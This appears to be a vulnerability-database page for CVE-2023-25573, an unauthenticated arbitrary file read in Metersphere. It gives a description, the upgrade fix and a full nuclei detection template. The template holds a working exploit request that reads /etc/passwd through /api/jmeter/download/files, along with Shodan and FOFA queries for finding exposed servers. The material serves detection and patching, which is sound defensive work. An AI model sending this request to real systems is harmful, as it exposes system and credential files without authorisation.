HexBrain

Browse / CVEs / CVE-2023-25573

CVE-2023-25573· metersphere / metersphere· CWE-862

Metersphere - Arbitrary File Read

highseverity
7.5CVSS score
51.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Metersphere is an open source continuous testing platform. In affected versions an improper access control vulnerability exists in `/api/jmeter/download/files`, which allows any user to download any file without authentication. This issue may expose all files available to the running process. This issue has been addressed in version 1.20.20 lts and 2.7.1

Impact

This vulnerability can lead to unauthorized access to sensitive information, such as configuration files, credentials, and other sensitive data.

Fix

Users are advised to upgrade. There are no known workarounds for this vulnerability.

How to confirm it

Send: POST /api/jmeter/download/files
Positive when: contains "/etc/passwd" AND contains in header "filename=\"{{str}}.zip\"" and "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2023-25573 -u <target>

The full check
id: CVE-2023-25573

info:
  name: Metersphere - Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: |
    Metersphere is an open source continuous testing platform. In affected versions an improper access control vulnerability exists in `/api/jmeter/download/files`, which allows any user to download any file without authentication. This issue may expose all files available to the running process. This issue has been addressed in version 1.20.20 lts and 2.7.1
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information, such as configuration files, credentials, and other sensitive data.
  remediation: Users are advised to upgrade. There are no known workarounds for this vulnerability.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Metersphere%20file%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2023-25573.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25573
    - https://github.com/metersphere/metersphere/security/advisories/GHSA-mcwr-j9vm-5g8h
    - https://github.com/20142995/sectool
    - https://github.com/KayCHENvip/vulnerability-poc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-25573
    cwe-id: CWE-862
    epss-score: 0.51609
    epss-percentile: 0.98954
    cpe: cpe:2.3:a:metersphere:metersphere:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: metersphere
    product: metersphere
    shodan-query: http.html:"metersphere"
    fofa-query:
      - body="Metersphere"
      - body="metersphere"
      - title="metersphere"
  tags: cve,cve2023,metersphere,lfi,vkev,vuln
variables:
  str: "{{rand_base(4)}}"
  rand: "{{rand_base(3)}}"

http:
  - raw:
      - |
        POST /api/jmeter/download/files HTTP/1.1
        Content-Type: application/json

        {"reportId":"{{str}}","bodyFiles":[{"id":"{{rand}}","name":"/etc/passwd"}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '/etc/passwd'

      - type: word
        part: header
        words:
          - 'filename="{{str}}.zip"'
          - 'application/octet-stream'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from